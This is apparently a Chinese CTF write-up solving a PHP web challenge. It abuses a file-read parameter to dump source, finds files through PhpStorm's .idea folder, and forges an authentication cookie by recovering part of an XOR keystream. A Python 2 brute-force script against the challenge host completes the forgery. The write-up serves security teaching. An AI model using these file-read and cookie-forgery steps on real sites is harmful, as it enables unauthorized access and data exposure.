index.php通过jpg参数读取hei.jpg。查看前端代码可以发现,图片是以base64形式显示的。

访问:xxx.index.php?jpg=index.php,得到index.php的编码结果,如下图所示
image.png
进行base64解码,得到:

  1. **
  2. * Created by PhpStorm.
  3. * Date: 2015/11/16
  4. * Time: 1:31
  5. */
  6. header('content-type:text/html;charset=utf-8');
  7. if (!isset($_GET['jpg']))
  8. header('Refresh:0;url=./index.php?jpg=hei.jpg');
  9. $file = $_GET['jpg'];
  10. echo '<title>file:' . $file . '</title>';
  11. $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
  12. $file = str_replace("config", "_", $file);
  13. $txt = base64_encode(file_get_contents($file));
  14. echo "<img src='data:image/gif;base64," . $txt . "'></img>";
  15. /*
  16. * Can you find the flag file?
  17. *
  18. */

通过代码我们也可以发现存在base64编码操作。在注释中提到,项目是通过PhpStromIDE编写的。这里的考点在于通过phpstrom编写的项目都会有一个.idea的隐藏文件夹,这个文件夹里存放一些配置信息。通过里面的配置信息我们可以知道当前文件夹有哪些php文件。
image.png

  • 访问config.php页面空白,由于index.php的代码处理,我们读取不了config.php的源码
  • 访问fl3g_ichuqiu.php,页面出现一个表情符号,无果。既然执行没有结果,我们可以看一下代码

通过jpg参数读取fl3gichuqiu.php的源码。
这里需要注意直接访问/index.php?jpg=fl3g_ichuqiu.php是无效的。因为index.php的正则将`
替换为空字符串。由index.php代码可知,字符串config会被替换为_`。于是可以这样处理

/index.php?jpg=fl3gconfigichuqiu.php

进行base64解码后得到

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++)    {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];
    }
    return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╮(╯▽╰)╭";
}
?>
  • $key是固定的,在config.php中定义,由于无法看到config.php的源码,所以不知道$key的值
  • 加密过程
    • 对明文的每个字符的ascii码做+10操作,得到$tmp
    • 4位随机字符rnd与$key做字符串拼接,取它们的md5值
    • 使用md5值与$tmp做异或运算,将运算结果与rnd连接得到ttmp,最后对ttmp进行base64编码处理
  • 解密过程(加密过程可逆)
    • 对密文base64解密得到$txt,取txt前4位字符得到rnd,取4位往后字符串得到ttmp
    • rnd与key(知道的情况下)拼接再md5得到新key
    • 由异或运算原理,将ttmp与key异或得到tmp,将tmp每个字符的ascii码值减10,得到明文

这题中key值未知,所以无法正常解密。我们知道,如果已知密文,我们可以解出rnd,而key是固定的,所以md5($rnd.$key)的值也是可以知道的。这里的知道,指的是部分或全部,为什么呢?因为md5()加密后是32位,实际用到几位由明文的位数决定,由setcookie('user',encrypt('guest',$key));我们可以得到明文是5位,那么由异或运算我们就能得到md5($rnd.$key)32位中的前5位。题目中需要得到得到明文为’system’的密文,这里的system是6位,所以需要6位的md5($rnd.$key)值就可以加密system

加密只需得到md5($rnd.$key)的部分或全部值就可以了(长度取决于明文),在题目中并不需要知道$key真实值 给出任意的密文知道md5($rnd.$key)值就可以解密

知晓原理后编写脚本,python3写的脚本编码有问题,这里给出python2的脚本

#-*-coding:utf8
# Created by python2
# 知晓加密和解密原理后,编写脚本
import requests
from base64 import *

url = "http://705aa45d421c4886a0b46cccfb2120467a00c68713034d0a.changame.ichunqiu.com/fl3g_ichuqiu.php"
cookie_user = requests.get(url).cookies['user']  # 得到user对应的值
txt = b64decode(cookie_user)  # 对cookie值进行解码
rnd = txt[:4]  # 获取密文前四个字符作为rnd,使用该rnd对system进行加密
ttmp = txt[4:]  # len(ttmp) ==> 5,由于加密system需要六位,这里可以利用题目的5位+1位爆破
guest = list("guest")
system = list('system')
key = list('xxxxxx')  # key初始化字符串,需要6位key
# 对guest和system的每个字符进行+10处理
for i in range(len(guest)):
    guest[i] = chr(ord(guest[i]) + 10)
for i in range(len(system)):
    system[i] = chr(ord(system[i]) + 10)

# 利用异或等式 b^c^b == c,求出前5位key
for i in range(len(guest)):
    key[i] = chr(ord(ttmp[i]) ^ ord(guest[i]))

# 还有一位通过爆破来得到,由于md5是由16进制数组成的,所以,爆破字符串取值为0-9,a-f
letters = "0123456789abcdef"
cookie_system=[]
for i in letters:
    key[5] = i  # 得到6位key
    ttmp_new = ''
    for j in range(len(system)):
        ttmp_new += chr(ord(system[j]) ^ ord(key[j]))  # 用6位key爆破
    str = rnd +ttmp_new
    cookie_system.append(b64encode(str))

for user in cookie_system:
    cookies = {'user':user}
    result = requests.get(url,cookies=cookies)
    print result.content

收获与思考

  1. phpstorm编写的程序自带.idea文件,该文件中的配置信息存有目录文件信息等
  2. 本题中的加解密并不复杂,但需要有耐心去做
  3. 有文件相关的get参数可以尝试文件读取或文件包含